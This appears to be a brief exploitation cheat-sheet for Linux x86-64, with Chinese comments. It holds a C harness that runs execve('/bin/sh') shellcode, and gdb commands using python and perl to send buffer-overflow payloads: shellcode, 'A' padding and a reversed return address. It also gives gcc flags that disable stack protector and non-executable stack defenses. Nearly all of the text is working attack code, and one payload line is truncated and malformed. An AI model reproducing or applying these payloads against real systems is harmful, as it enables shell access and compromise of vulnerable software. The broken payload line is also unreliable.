linux exec /bin/sh
unsigned char code[] =
"\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48"
"\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f"
"\x05";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
return 0;
}
如果是在gdb中调试输入的话可以用python或perl
python
(gdb) run $(python -c 'print
"\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\
\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')
格式:
run $(python -c ’ print "shellcode + 填充A + 首地址 " [::-1] ’)
[::1] 倒排序,因为Intel内存是小端,所有要倒序
原地址:0x7fffffffdc90
进行处理: 0x7fffffffdc90 [::-1] ——> 90dcfffffff7
perl
(gdb) run `perl -e 'print "A"*14'`
以及
(gdb) r `perl -e 'print "A"*22;print "\x3b\x84\x04\x08"'`
关闭编译保护
gcc -fno-stack-protector -z execstack -o exp1 exp1.c